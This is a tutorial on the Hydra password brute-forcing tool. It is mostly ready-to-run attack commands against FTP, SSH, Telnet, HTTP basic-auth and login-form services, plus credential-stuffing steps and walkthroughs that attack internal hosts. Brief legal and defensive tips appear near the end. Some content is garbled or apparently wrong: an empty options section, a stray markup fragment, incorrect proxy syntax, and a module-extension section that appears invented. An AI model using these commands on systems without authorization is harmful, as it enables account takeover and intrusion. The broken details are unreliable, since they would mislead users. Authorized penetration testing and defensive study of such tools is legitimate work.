What Is Hydra

Hydra is a parallelized brute-force authentication auditor that supports dozens of network protocols. By rapidly cycling through username/password combinations it can reveal weak credentials on services such as FTP, SSH, RDP, MySQL, SMTP, HTTP(S) forms, and many more. Although the tool is invaluable for authorized penetration tests, it must be used responsibly to avoid legal consequences.

Installing Hydra

Linux

sudo apt update
sudo apt install hydra

macOS

brew install hydra

Windows (via WSL or Cygwin)

apt-cyg install hydra

Verify the installation:

hydra -h

Core Options

Quick Start Examples

FTP

hydra -l bob -P /usr/share/seclists/Passwords/Common-Credentials/top-20.txt ftp://10.0.0.5 -t 16 -f

SSH

hydra -L names.txt -P rockyou.txt ssh://192.168.1.50 -s 22 -t 64 -vV -o ssh_cracked.txt

Telnet

hydra -l root -P 500-worst-passwords.txt telnet://192.168.0.10 -t 8

HTTP Basic Auth

hydra -L users.txt -P pass.txt http-get://example.com/manager -s 8080 -f

HTTP POST Form

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid credentials" \
  -t 20 -w 5 -vV

Advanced Scenarios

Credential Stuffing with Paired Lists

When you have colon-separated user:pass pairs:

cut -d: -f1 pairs.txt > users.lst
cut -d: -f2 pairs.txt > passes.lst
hydra -L users.lst -P passes.lst -u ftp://10.0.0.5

Using SOCKS Proxy

hydra -l alice -P dict.txt -o hits.txt -m socks5://127.0.0.1:1080 ssh://target

Rate Limiting & Timing

hydra -l bob -P 100k.txt -t 4 -w 30 -W 2 ssh://192.168.2.15

• -w 30 : 30-second timeout per attempt
• -W 2 : 2-second wait between attempts

Practical Walkthrough

Cracking an Internal FTP Server

1. Recon: nmap -p 21 192.168.10.0/24
2. Create a short custom wordlist: ``` cewl https://company.com -w company.txtcode>

3. Launch attack: ``` hydra -l ftpuser -P company.txt -t 8 -f -o ftp_result.txt ftp://192.168.10.33

SSH Key-Finding Exercise

1. Extract usernames from /etc/passwd via earlier exploit.
2. Use rockyou.txt: ``` hydra -L users_from_passwd.txt -P /usr/share/wordlists/rockyou.txt -t 64 -vV ssh://192.168.1.110

Legal & Ethical Considerations

• Always obtain written authorization before testing any system you do not own.
• Respect local computer misuse laws (e.g., CFAA in the US, CMA in the UK).
• Prefer isolated lab environments or bug-bounty scopes for experimentation.
• Document every step to demonstrate due diligence if questioned.

Defensive Tips

• Enforce strong password policies and multi-factor authentication.
• Implement account lockout or progressive delays after failed logins.
• Monitor logs for brute-force patterns and block offending IPs.
• Use fail2ban or similar tools to automate resposne.

Extending Hydra

Hydra’s modular design allows custom protocols via hydra-mod. A minimal module skeleton:

/* hydra_dummy.c */
#include "hydra-mod.h"
void dummy_brute(char *ip, int port, unsigned char options, char *miscptr, FILE *fp) {
  // Implement protocol handshake & credential test
}

Compile and install:

gcc -fPIC -shared hydra_dummy.c -o hydra_dummy.so
sudo cp hydra_dummy.so /usr/lib/hydra/modules/